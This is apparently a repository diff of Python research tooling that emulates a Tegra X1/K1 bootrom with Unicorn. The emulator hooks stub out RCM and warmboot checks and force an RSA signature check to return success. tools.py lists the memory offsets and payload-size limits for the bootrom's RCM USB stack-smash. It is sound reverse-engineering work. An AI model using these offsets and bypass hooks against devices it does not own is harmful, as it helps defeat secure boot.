self.sp = 0x4000d000
|
||||
self.is_thumb = True
|
||||
else:
|
||||
self.sp = 0x4000d000
|
||||
self.pc = 0x4000e000
|
||||
self.is_thumb = False
|
||||
|
||||
def setup_devices(self):
|
||||
self.devices = {}
|
||||
# self.devices['fuse'] = FuseDevice(self)
|
||||
# self.devices['timer'] = TimerDevice(self)
|
||||
# self.devices['emmc'] = EmmcDevice(self)
|
||||
self.devices['crypto'] = CryptoDevice(self)
|
||||
|
||||
# Setup EMMC data
|
||||
self.emmc_raw_data = open("/home/eljakim/Source/tegrax1_plus/dump/nv-recovery-image-shield-tablet-lte-us-update3_1_1/blob", "rb").read()[0x112dc9f - 528:]
|
||||
self.devices['tegra'] = TegraDevice(self) # For all other devices
|
||||
|
||||
def hook_unmapped(self, uc, access, address, size, value, user_data):
|
||||
print(f"Unmapped memory access at 0x{address:x} with size {size} and access {acces_str[access]}")
|
||||
pass
|
||||
|
||||
def hook_mem_access(self, uc, access, address, size, value, user_data):
|
||||
# Hook all memory accesses
|
||||
# if self.log_hw_access:
|
||||
# p_info(f"{hex(self.pc)} HW access at 0x{address:x} with size {size}, value={hex(value)} and access {acces_str[access]}")
|
||||
|
||||
if access == UC_MEM_WRITE:
|
||||
self.debugger.memwrite_region(address, self.uc.mem_read(address, size))
|
||||
if access == UC_MEM_READ:
|
||||
self.uc.mem_write(address, self.debugger.memdump_region(address, size))
|
||||
|
||||
pass
|
||||
|
||||
def hw_itm_handle(self, access, address, size, value):
|
||||
# All unmapped memory is send to the debugger
|
||||
if self.log_hw_access:
|
||||
if access == UC_MEM_READ:
|
||||
val = self.debugger.memdump_region(address, size)
|
||||
if len(val) == 4:
|
||||
val = struct.unpack("<I", val)[0]
|
||||
elif len(val) == 1:
|
||||
val = struct.unpack("<B", val)[0]
|
||||
|
||||
# save all access for emulation
|
||||
if self.save_hwio:
|
||||
if address not in self.saved_hwio:
|
||||
self.saved_hwio[address] = [val]
|
||||
else:
|
||||
self.saved_hwio[address].append(val)
|
||||
|
||||
p_info(f"{hex(self.pc)} READ at 0x{address:x} with size {size} value={hex(val)} | {hex(address)} <- {hex(val)}")
|
||||
elif access == UC_MEM_WRITE:
|
||||
p_info(f"{hex(self.pc)} WRITE at 0x{address:x} with size {size} value={hex(value)} | {hex(address)} -> {hex(value)}")
|
||||
try:
|
||||
if address == 0x70012800:
|
||||
# self.ghidra.ghidra.set_background_color(self.saved_blocks)
|
||||
sys.exit(0)
|
||||
pass
|
||||
if access == UC_MEM_WRITE:
|
||||
if size == 4:
|
||||
self.debugger.memwrite_region(address, p32(value))
|
||||
# self.uc.mem_write(address, p32(value))
|
||||
# self.uc.mem_write(address, self.debugger.memdump_region(address, size))
|
||||
elif size == 1:
|
||||
self.debugger.memwrite_io(address, p8(value))
|
||||
# self.uc.mem_write(address, p8(value))
|
||||
# self.uc.mem_write(address, self.debugger.memdump_region(address, size))
|
||||
else:
|
||||
raise Exception("Unhandled write!")
|
||||
elif access == UC_MEM_READ:
|
||||
if size == 1:
|
||||
pass
|
||||
self.uc.mem_write(address, self.debugger.memdump_region(address, size))
|
||||
else:
|
||||
raise Exception("Not handled!")
|
||||
except Exception as e:
|
||||
print(e)
|
||||
sys.exit(0)
|
||||
pass
|
||||
return True
|
||||
|
||||
def get_device_at(self, address):
|
||||
for devname in self.devices:
|
||||
dev = self.devices[devname]
|
||||
if address >= dev.BASE and address < dev.BASE + dev.SIZE:
|
||||
return dev
|
||||
return self.devices['tegra']
|
||||
# raise Exception(f"No device found at address {hex(address)} pc={hex(sef.pc)}")
|
||||
|
||||
def hw_emulation_handle(self, access, address, size, value):
|
||||
dev = self.get_device_at(address)
|
||||
print(f"Device={dev.NAME} pc={hex(self.pc)} target=0x{address:x} size={size} access={acces_str[access]}")
|
||||
if access == UC_MEM_READ:
|
||||
dev.read(address, size)
|
||||
elif access == UC_MEM_WRITE:
|
||||
dev.write(address, value)
|
||||
return True
|
||||
|
||||
def sync_imem(self):
|
||||
'''
|
||||
Syncs IMEM regions
|
||||
'''
|
||||
if not hasattr(self, "debugger"):
|
||||
pass
|
||||
|
||||
imem = self.uc.mem_read(0x40000000, 0x40000)
|
||||
imem_debugger = self.debugger.memdump_region(0x40000000, 0x40000)
|
||||
pass
|
||||
|
||||
def hook_hw_access(self, uc, access, address, size, value, user_data):
|
||||
# if address == 0x70012800:
|
||||
# self.sync_imem()
|
||||
# pass
|
||||
if self.hw_itm:
|
||||
return self.hw_itm_handle(access, address, size, value)
|
||||
|
||||
return self.hw_emulation_handle(access, address, size, value)
|
||||
|
||||
def setup_hooks(self):
|
||||
# hook unmapped
|
||||
self.uc.hook_add(UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_UNMAPPED, self.hook_unmapped)
|
||||
|
||||
# 0x6000f000
|
||||
self.uc.mem_map(0x60000000, 0x20000, UC_PROT_READ | UC_PROT_WRITE)
|
||||
self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_hw_access, begin=0x60000000, end=0x60000000 + 0x10000)
|
||||
|
||||
self.uc.mem_map(0x70000000, 0x100000, UC_PROT_READ | UC_PROT_WRITE)
|
||||
self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_hw_access, begin=0x70000000, end=0x70000000 + 0x100000)
|
||||
|
||||
|
||||
#ROM
|
||||
# self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_mem_access, self, 0x100000, 0x100000 + len(self.bootrom))
|
||||
#IMEM access
|
||||
# self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_mem_access, self, 0x40000000, 0x40000000 + 0x40000)
|
||||
# DRAM
|
||||
# self.uc.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, self.hook_mem_access, self, 0x80000000, 0x80000000 + 2 * GB)
|
||||
if self.target == "bootrom":
|
||||
self.setup_warmboot_hook()
|
||||
self.setup_hook_blocks()
|
||||
self.setup_rcm_hooks()
|
||||
self.setup_sdmmc_hooks()
|
||||
self.setup_rsa_verify_hook()
|
||||
else:
|
||||
self.setup_log_hook()
|
||||
self.setup_hook_blocks()
|
||||
# self.setup_hook_EmmcValidateResponse()
|
||||
|
||||
def setup_coldboot_hook(self):
|
||||
def hook_coldboot(uc, address, size, user_data):
|
||||
logging.info(f"Reached coldboot target.")
|
||||
self.print_ctx()
|
||||
return True
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_coldboot, begin=0x0010145e, end=0x0010145e + 1)
|
||||
|
||||
def setup_rcm_hooks(self):
|
||||
def hook_rcm(uc, address, size, user_data):
|
||||
self.R0 = 0
|
||||
self.R1 = 0
|
||||
return True
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_rcm, begin=0x00101414, end=0x00101414 + 1)
|
||||
|
||||
def setup_warmboot_hook(self):
|
||||
def hook_warmboot(uc, address, size, user_data):
|
||||
logging.info(f"Hooking warmboot, forcing coldboot.")
|
||||
self.R0 = 0
|
||||
return True
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_warmboot, begin=0x00101f3a, end=0x00101f3a + 1)
|
||||
|
||||
def setup_rsa_verify_hook(self):
|
||||
def hook_rsa_signature_verify(uc, address, size, user_data): # TODO not working
|
||||
print(f"RSA signature verify keyslot={self.R0} keysize={self.R1} input={self.R2} message_hash={self.R3} input_size={self.R4} signature={self.R5} algo={self.R6} signature_size={self.R7}")
|
||||
crypto = self.devices['crypto']
|
||||
crypto_key = crypto.rsa_key[:crypto.rsa_key_size // 8]
|
||||
signature = self.uc.mem_read(self.R7, 0x100)
|
||||
|
||||
modulus = int.from_bytes(crypto_key, byteorder='big')
|
||||
public_numbers = rsa.RSAPublicNumbers(e=65537, n=modulus)
|
||||
public_key = public_numbers.public_key(default_backend())
|
||||
|
||||
try:
|
||||
public_key.verify(
|
||||
signature,
|
||||
b"",
|
||||
padding.PSS(
|
||||
mgf=padding.MGF1(hashes.SHA256()),
|
||||
salt_length=padding.PSS.MAX_LENGTH
|
||||
),
|
||||
hashes.SHA256()
|
||||
)
|
||||
print("Signature is valid.")
|
||||
except InvalidSignature:
|
||||
print("Signature is invalid.")
|
||||
|
||||
# Verify signature
|
||||
|
||||
self.PC = self.LR
|
||||
self.R0 = 0
|
||||
return True
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_rsa_signature_verify, begin=0x00102f08, end=0x00102f08 + 1)
|
||||
|
||||
def apply_patches(self):
|
||||
|
||||
# Nop out 400101f0 to 0x40010220, maybe this is restricting access to IMEM and ROM?
|
||||
self.sc.mov_0_r0 = self.ks.asm("mov r0, #0", as_bytes=True)[0]
|
||||
# self.uc.mem_write(0x400101e4, self.sc.mov_0_r0 * ((0x40010220 - 0x400101e4) // 4))
|
||||
|
||||
self.sc.bx_lr = self.ks.asm("bx lr", as_bytes=True)[0]
|
||||
bx_lr_thumb = self.ksT.asm("bx lr", as_bytes=True)[0]
|
||||
movs_0_r0_thumb = self.ksT.asm("movs r0, #0", as_bytes=True)[0]
|
||||
|
||||
# self.uc.mem_write(0x4001dfb0, self.sc.mov_0_r0 + self.sc.bx_lr)
|
||||
if self.target == "bootrom":
|
||||
#NvBootClocksIsPllStable, ret
|
||||
# self.uc.mem_write(0x00101730, bx_lr_thumb)
|
||||
# # NvBootClocksStartPll
|
||||
self.uc.mem_write(0x00101866, bx_lr_thumb)
|
||||
|
||||
# NvBootClocksPllDivRstCtrl
|
||||
self.uc.mem_write(0x001016ce, bx_lr_thumb)
|
||||
|
||||
#usb init?
|
||||
self.uc.mem_write(0x00103bf4, bx_lr_thumb)
|
||||
|
||||
#SE engine always ready
|
||||
# self.uc.mem_write(0x00102b24, movs_0_r0_thumb)
|
||||
|
||||
|
||||
pass
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
self.uc.emu_start(self.pc, 0)
|
||||
pass
|
||||
except Exception as e:
|
||||
print(str(e))
|
||||
self.print_ctx(print)
|
||||
pass
|
||||
|
||||
def setup_log_hook(self):
|
||||
UART_LOG_HOOK = 0x4001cadc
|
||||
def hook_log(uc, address, size, user_data):
|
||||
msg = self.read_string(self.R0)
|
||||
try:
|
||||
args = msg.count(b"%")
|
||||
arg_types = []
|
||||
offset = 0
|
||||
for i in range(args):
|
||||
c_offset = msg[offset:].find(b"%")
|
||||
mtype = msg[c_offset:offset + 2]
|
||||
offset += c_offset + 2
|
||||
arg_types.append(mtype)
|
||||
|
||||
def read_msg_var(mtype, addr):
|
||||
if mtype == b"%s":
|
||||
return self.read_string(addr)
|
||||
elif mtype == b"%d":
|
||||
return eval('b"'+ str(addr) +'"')# As int
|
||||
else:
|
||||
return eval('b"'+ hex(addr)[2:] +'"')# As hex
|
||||
|
||||
arg_str = []
|
||||
for i in range(args):
|
||||
if i == 0:
|
||||
arg_str.append(read_msg_var(arg_types[i], self.R1))
|
||||
elif i == 1:
|
||||
arg_str.append(read_msg_var(arg_types[i], self.R2))
|
||||
elif i == 2:
|
||||
arg_str.append(read_msg_var(arg_types[i], self.R3))
|
||||
else:
|
||||
break
|
||||
|
||||
for i in range(len(arg_str)):
|
||||
offset = msg.find(b"%")
|
||||
msg = msg[:offset] + arg_str[i] + msg[offset + 2:]
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
print(f"{hex(self.LR)} : {msg}")
|
||||
if(b"Sdmmc Read failed" in msg):
|
||||
pass
|
||||
return True
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_log, begin=UART_LOG_HOOK, end=UART_LOG_HOOK + 1)
|
||||
|
||||
# And patch function to just return
|
||||
self.uc.mem_write(UART_LOG_HOOK, self.ks.asm("bx lr", as_bytes=True)[0])
|
||||
|
||||
def setup_sdmmc_hooks(self):
|
||||
def hook_sdmmc(uc, address, size, user_data):
|
||||
block = self.R0
|
||||
page = self.R1
|
||||
destbuf = self.R2
|
||||
offset = page * 0x200
|
||||
dat = self.emmc_raw_data[offset:offset + 0x200]
|
||||
self.uc.mem_write(destbuf, dat)
|
||||
self.PC = self.LR
|
||||
return True
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_sdmmc, begin=NVBOOTSDMMCREADPAGE, end=NVBOOTSDMMCREADPAGE + 1)
|
||||
|
||||
def setup_se_sha_hash_hook(self):
|
||||
def hook_se_sha(uc, address, size, user_data):
|
||||
self.saved_se_sha[self.pc] = self.get_registers()
|
||||
return True
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_se_sha, begin=NVBOOTSESHAHASH, end=NVBOOTSESHAHASH + 1)
|
||||
|
||||
def setup_hook_blocks(self, only_blocks=False):
|
||||
if only_blocks:
|
||||
def hook_block(uc, address, size, user_data):
|
||||
# print(f"Block at {hex(self.LR)}")
|
||||
self.saved_blocks[self.LR] = self.get_registers()
|
||||
return True
|
||||
self.uc.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
else:
|
||||
def hook_all(uc, address, size, user_data):
|
||||
if self.pc == NVBOOTREADONEOBJECT:
|
||||
info(f"NvBootReadOneObject context={self.R0:04x} dest={self.R1:04x} bct_obj_dst={self.R2:04x} num_copies={self.R3}")
|
||||
if self.pc == 0x00104558:
|
||||
# Sync 0x40000100, length 0x2000
|
||||
info(f"NvBootReadOneObject done dest={self.read_ptr(self.R1)}")
|
||||
# if self.pc == NVBOOTSDMMCREADPAGE:
|
||||
# # At this point we can read our on pages if requested.
|
||||
# info(f"SdmmcReadPage block={self.R0} page={self.R1} destbuf={self.R2:04x}")
|
||||
# print(f"Block at {hex(self.LR)}")
|
||||
if self.pc == 0x00102ee8:
|
||||
pass
|
||||
if self.pc == 0x00102f1e:
|
||||
pass
|
||||
elif self.pc == 0x00104418:
|
||||
pass #Validatebct
|
||||
elif self.pc == 0x00104452:
|
||||
pass #validate done
|
||||
|
||||
self.saved_blocks[self.pc] = self.get_registers()
|
||||
return True
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_all, self)
|
||||
|
||||
def setup_interrupt_hook(self):
|
||||
RAISE_INTERRUPT = 0x4001cab8
|
||||
def hook_interrupt(uc, address, size, user_data):
|
||||
print(f"Interrupt at {self.LR}")
|
||||
return True
|
||||
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_interrupt, begin=RAISE_INTERRUPT, end=RAISE_INTERRUPT + 1)
|
||||
|
||||
def setup_hook_EmmcValidateResponse(self):
|
||||
self.saved_emmc_responses = {}
|
||||
def hook_emmc(uc, address, size, user_data):
|
||||
self.saved_emmc_responses[self.pc] = self.get_registers()
|
||||
return True
|
||||
|
||||
self.uc.hook_add(UC_HOOK_CODE, hook_emmc, begin=0x4001dfb0, end=0x4001e160)
|
||||
|
||||
def do_partial_emu(debugger : ConcreteDevice, real_hw=True):
|
||||
if real_hw:
|
||||
emu = TegraEmulator()
|
||||
emu.install_debugger(debugger)
|
||||
else:
|
||||
emu = TegraEmulator(hw_itm=False, saved_hwio="bin/t124_brom_hwio.pickle")
|
||||
emu.setup(target="bootrom")
|
||||
emu.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
do_partial_emu(None, real_hw=False)
|
13
patches.py
Normal file
@ -0,0 +1,13 @@
|
||||
from keystone import *
|
||||
from capstone import *
|
||||
from tools import *
|
||||
import io
|
||||
|
||||
cs = Cs(CS_ARCH_ARM, CS_MODE_THUMB)
|
||||
ks = Ks(KS_ARCH_ARM, KS_MODE_THUMB)
|
||||
|
||||
def ks_to_bytes(ks_code):
|
||||
return b"".join([int.to_bytes(x, 1, "little") for x in ks_code[0]])
|
||||
|
||||
cpsr_to_r0_ins = ks_to_bytes(ks.asm("mrs r0, cpsr"))
|
||||
r1_to_cpsr = ks_to_bytes(ks.asm("msr cpsr_c, r1"))
|
93
t210.py
Normal file
@ -0,0 +1,93 @@
|
||||
# Define constants for the base addresses
|
||||
BASE_ADDRESSES = {
|
||||
'IROM_BASE': 0x100000,
|
||||
'IRAM_BASE': 0x40000000,
|
||||
'HOST1X_BASE': 0x50000000,
|
||||
'BPMP_CACHE_BASE': 0x50040000,
|
||||
'MSELECT_BASE': 0x50060000,
|
||||
'DPAUX1_BASE': 0x54040000,
|
||||
'TSEC2_BASE': 0x54100000,
|
||||
'DISPLAY_A_BASE': 0x54200000,
|
||||
'DISPLAY_B_BASE': 0x54240000,
|
||||
'DSI_BASE': 0x54300000,
|
||||
'VIC_BASE': 0x54340000,
|
||||
'NVJPG_BASE': 0x54380000,
|
||||
'NVDEC_BASE': 0x54480000,
|
||||
'NVENC_BASE': 0x544C0000,
|
||||
'TSEC_BASE': 0x54500000,
|
||||
'SOR1_BASE': 0x54580000,
|
||||
'GPU_BASE': 0x57000000,
|
||||
'GPU_USER_BASE': 0x58000000,
|
||||
'RES_SEMAPH_BASE': 0x60001000,
|
||||
'ARB_SEMAPH_BASE': 0x60002000,
|
||||
'ARBPRI_BASE': 0x60003000,
|
||||
'ICTLR_BASE': 0x60004000,
|
||||
'TMR_BASE': 0x60005000,
|
||||
'CLOCK_BASE': 0x60006000,
|
||||
'FLOW_CTLR_BASE': 0x60007000,
|
||||
'AHBDMA_BASE': 0x60008000,
|
||||
'SYSREG_BASE': 0x6000C000,
|
||||
'SB_BASE': 0x6000C000 + 0x200,
|
||||
'ACTMON_BASE': 0x6000C800,
|
||||
'GPIO_BASE': 0x6000D000,
|
||||
'EXCP_VEC_BASE': 0x6000F000,
|
||||
'IPATCH_BASE': 0x6001DC00,
|
||||
'APBDMA_BASE': 0x60020000,
|
||||
'VGPIO_BASE': 0x60024000,
|
||||
'APB_MISC_BASE': 0x70000000,
|
||||
'PINMUX_AUX_BASE': 0x70003000,
|
||||
'UART_BASE': 0x70006000,
|
||||
'PWM_BASE': 0x7000A000,
|
||||
'I2C_BASE': 0x7000C000,
|
||||
'RTC_BASE': 0x7000E000,
|
||||
'PMC_BASE': 0x7000E400,
|
||||
'FUSE_BASE': 0x7000F800,
|
||||
'KFUSE_BASE': 0x7000FC00,
|
||||
'SE_BASE': 0x70012000,
|
||||
'TSENSOR_BASE': 0x70014000,
|
||||
'ATOMICS_BASE': 0x70016000,
|
||||
'MC_BASE': 0x70019000,
|
||||
'EMC_BASE': 0x7001B000,
|
||||
'EMC0_BASE': 0x7001E000,
|
||||
'EMC1_BASE': 0x7001F000,
|
||||
'XUSB_HOST_BASE': 0x70090000,
|
||||
'XUSB_PADCTL_BASE': 0x7009F000,
|
||||
'XUSB_DEV_BASE': 0x700D0000,
|
||||
'SDMMC_BASE': 0x700B0000,
|
||||
'SOC_THERM_BASE': 0x700E2000,
|
||||
'MIPI_CAL_BASE': 0x700E3000,
|
||||
'SYSCTR0_BASE': 0x700F0000,
|
||||
'SYSCTR1_BASE': 0x70100000,
|
||||
'CL_DVFS_BASE': 0x70110000,
|
||||
'APE_BASE': 0x702C0000,
|
||||
'AHUB_BASE': 0x702D0000,
|
||||
'AXBAR_BASE': 0x702D0800,
|
||||
'I2S_BASE': 0x702D1000,
|
||||
'ADMA_BASE': 0x702E2000,
|
||||
'SE2_BASE': 0x70412000,
|
||||
'SE_PKA1_BASE': 0x70420000,
|
||||
'TZRAM_BASE': 0x7C010000,
|
||||
'TZRAM_SIZE': 0x10000,
|
||||
'TZRAM_T210B01_SIZE': 0x3C000,
|
||||
'USB_BASE': 0x7D000000,
|
||||
'USB_OTG_BASE': 0x7D000000,
|
||||
'USB1_BASE': 0x7D004000,
|
||||
'EMEM_BASE': 0x80000000,
|
||||
}
|
||||
|
||||
APB_MISC_GP_HIDREV = 0x804
|
||||
|
||||
|
||||
# Function to get MMIO register
|
||||
def mmio_reg32(base, offset):
|
||||
return base + offset
|
||||
|
||||
# Example usage
|
||||
# HOST1X = lambda offset: mmio_reg32(BASE_ADDRESSES['HOST1X_BASE'], offset)
|
||||
# BPMP_CACHE_CTRL = lambda offset: mmio_reg32(BASE_ADDRESSES['BPMP_CACHE_BASE'], offset)
|
||||
# MSELECT = lambda offset: mmio_reg32(BASE_ADDRESSES['MSELECT_BASE'], offset)
|
||||
# DPAUX1 = lambda offset: mmio_reg32(BASE_ADDRESSES['DPAUX1_BASE'], offset)
|
||||
# TSEC2 = lambda offset: mmio_reg32(BASE_ADDRESSES['TSEC2_BASE'], offset)
|
||||
|
||||
# # Example access
|
||||
# print(hex(HOST1X(0x100))) # Example usage of the HOST1X register
|
143
tools.py
Normal file
@ -0,0 +1,143 @@
|
||||
import string
|
||||
|
||||
JETSON_TK1_VID= 0x0955
|
||||
JETSON_TK1_PID= 0x7140
|
||||
SHIELD_TK1_VID =0x0955
|
||||
SHIELD_TK1_PID= 0x7f40
|
||||
IROM_BEGIN = 0x00100000
|
||||
IROM_END = 0x0010FFFF
|
||||
IROM_LEN = 0x00010000
|
||||
IRAM_BEGIN = 0x40000000
|
||||
IRAM_END = 0x4003FFFF
|
||||
IRAM_LEN = 0x00040000
|
||||
BOOTROM_DO_BCT_BOOT = 0x00100624
|
||||
BOOTROM_EP1_IN_WRITE_IMM = 0x001065C0
|
||||
BOOTROM_EP1_OUT_READ_IMM = 0x00106612
|
||||
BOOTROM_USB_BUF_1 = 0x40004000
|
||||
BOOTROM_USB_BUF_2 = 0x40008000
|
||||
BOOTROM_PAYLOAD_ENTRY = 0x4000E000
|
||||
BOOTROM_SMASH_TARGET = 0x4000DCD8
|
||||
BOOTROM_STACK_GAP_LEN = 0x30C
|
||||
BOOTROM_SMASH_LEN = (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) #// 0x5CD8
|
||||
VARS_LEN= 0x10
|
||||
INTERMEZZO_LEN =0x100
|
||||
INTERMEZZO_REL_ADD =( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) #// 0x4000DF00
|
||||
OFFSET_INTERMEZZO_START = 0x0
|
||||
OFFSET_PAYLOAD_START = ( INTERMEZZO_LEN )
|
||||
OFFSET_MEMCPY_RET_ADD = ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) #// 0x59C8 ( 0x30C Bytes copied from the stack before entry )
|
||||
OFFSET_PAYLOAD_BEF_LENVAR = ( OFFSET_MEMCPY_RET_ADD - 0x4 )
|
||||
OFFSET_PAYLOAD_AFT_LENVAR = ( OFFSET_MEMCPY_RET_ADD - 0x8 )
|
||||
OFFSET_PAYLOAD_THUMB_MODE = ( OFFSET_MEMCPY_RET_ADD - 0xC )
|
||||
OFFSET_PAYLOAD_CONT = ( OFFSET_MEMCPY_RET_ADD + 0x4 )
|
||||
IRAM_ADD_INTERMEZZO_START = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START )
|
||||
IRAM_ADD_PAYLOAD_START = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START )
|
||||
IRAM_ADD_PAYLOAD_BEF_LENVAR = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR )
|
||||
IRAM_ADD_PAYLOAD_AFT_LENVAR= ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR )
|
||||
IRAM_ADD_PAYLOAD_THUMB_MODE= ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE )
|
||||
IRAM_ADD_PAYLOAD_CONT = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT )
|
||||
RCM_EP1_IN = 0x81
|
||||
RCM_EP1_OUT = 0x01
|
||||
RCM_CHIP_ID_LEN =0x10
|
||||
RCM_CMD_LEN =0x32274
|
||||
RCM_CMD_MAX_USEFUL_LEN = 0x31000 # Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus.
|
||||
RCM_CMD_HEADER_LEN = 0x284
|
||||
RCM_CMD_BUF_INTERMEZZO_START = ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START )
|
||||
RCM_CMD_BUF_PAYLOAD_START = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START )
|
||||
RCM_CMD_BUF_MEMCPY_RET_ADD = ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD )
|
||||
RCM_CMD_BUF_PAYLOAD_BEF_LENVAR = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR )
|
||||
RCM_CMD_BUF_PAYLOAD_AFT_LENVAR = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR )
|
||||
RCM_CMD_BUF_PAYLOAD_THUMB_MODE = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE )
|
||||
RCM_CMD_BUF_PAYLOAD_CONT = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT )
|
||||
MAX_PAYLOAD_BEF_SIZE = ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) # 22716 Bytes
|
||||
MAX_PAYLOAD_AFT_SIZE = ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) # 177072 Bytes
|
||||
MAX_PAYLOAD_FILE_SIZE = ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) # 199788 Bytes
|
||||
SECURE_BOOT_BASE= 0x6000C200
|
||||
SB_CSR_0 = 0x0
|
||||
SB_PIROM_START_0 = 0x4
|
||||
SB_PFCFG_0 = 0x8
|
||||
JTAG_ON = 0x00000080
|
||||
APB_BASE =0x70000000
|
||||
APB_MISC_PP_CONFIG_CTL_0= 0x24
|
||||
APB_MISC_PP_CONFIG_CTL_0_JTAG = 0x40
|
||||
APB_MISC_PP_CONFIG_CTL_0_TBE = 0x80
|
||||
FLOW_CTLR_BASE = 0x60007000
|
||||
FLOW_CTLR_HALT_COP_EVENTS_0 = 0x4
|
||||
FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT =(1 << 30)
|
||||
FLOW_CTLR_HALT_COP_JTAG = (1 << 28)
|
||||
PMC_BASE = 0x7000e400
|
||||
PMC_CNTRL = 0x000
|
||||
PMC_CNTRL_MAIN_RST = (1 << 4)
|
||||
PMC_SCRATCH0 = 0x050
|
||||
PMC_SCRATCH0_MODE_RCM = (1 << 1)
|
||||
FUSE_BASE = 0x7000F900
|
||||
FUSE_LEN = 0x300
|
||||
PAYLOAD_SIZE = 0x32274
|
||||
USB_CTRL_DEVICE_ENDPOINT_TO_HOST = 0x82
|
||||
USB_CTRL_GET_STATUS = 0x00
|
||||
|
||||
SUCCESS_STATUS = 0
|
||||
ERROR_STATUS = 4
|
||||
|
||||
def info(msg):
|
||||
print("[\033[34;1mi\033[0m] %s" % (msg))
|
||||
|
||||
def ok(msg):
|
||||
print("[\033[32;1m+\033[0m] %s" % (msg))
|
||||
|
||||
def warn(msg):
|
||||
print("[\033[33;1mw\033[0m] %s" % (msg))
|
||||
|
||||
def error(msg):
|
||||
print("[\033[31;1m!\033[0m] %s" % (msg))
|
||||
|
||||
def hexdump(buf, title="", color=6, start=0, remove_dup=True):
|
||||
color_start = "\033[3%d;1m" % color
|
||||
color_start_no_bold = "\033[0m\033[3%dm" % color
|
||||
color_stop = "\033[0m"
|
||||
|
||||
address_format_size = len("0x%08x " % (len(buf) + start))
|
||||
space_before = " "*address_format_size
|
||||
|
||||
out=("%s%s┌"+"─"*49+"┬"+"─"*18+"┐%s\n") % (space_before, color_start,color_stop)
|
||||
if title != "":
|
||||
dashlen = int((46-len(title))/2)
|
||||
out=("%s%s┌"+"─"*dashlen+" "+title+" "+"─"*(dashlen-(1-(len(title)%2)))+"┬"+"─"*18+"┐%s\n") % (space_before, color_start,color_stop)
|
||||
last_is_dup = False
|
||||
for i in range(0,len(buf),16):
|
||||
if remove_dup:
|
||||
if i != 0 and (i+16) < len(buf):
|
||||
if buf[i:i+16] == buf[i-16:i] and buf[i:i+16] == buf[i+16:i+32]:
|
||||
if not last_is_dup:
|
||||
out+="%s%s* ┆ %s" % (space_before[:-2], color_start, color_start_no_bold)
|
||||
out+="⇩"*47
|
||||
out+="%s ┆ %s" % (color_start, color_start_no_bold)
|
||||
out+="⇩"*16
|
||||
out+=" %s┆%s\n" % (color_start, color_stop)
|
||||
last_is_dup = True
|
||||
continue
|
||||
else:
|
||||
last_is_dup=False
|
||||
out+="%s0x%08x │ %s" % (color_start,i+start,color_stop)
|
||||
for j in range(16):
|
||||
if i+j < len(buf):
|
||||
if type(buf) == bytes:
|
||||
out+="%02x " % (buf[i+j])
|
||||
else:
|
||||
out+="%02x " % (ord(buf[i+j]))
|
||||
else:
|
||||
out+=" "
|
||||
out+="%s│ %s" % (color_start,color_stop)
|
||||
for j in range(16):
|
||||
if i+j < len(buf):
|
||||
char = buf[i+j]
|
||||
if type(char) == int:
|
||||
char = chr(char)
|
||||
if char in string.printable and char not in "\t\n\r\x0b\x0c":
|
||||
out+="%s" % (char)
|
||||
else:
|
||||
out+="."
|
||||
else:
|
||||
out+=" "
|
||||
out+=" %s│%s\n" % (color_start,color_stop)
|
||||
out+=("%s%s└"+"─"*49+"┴"+"─"*18+"┘%s") % (space_before, color_start,color_stop)
|
||||
print(out)
|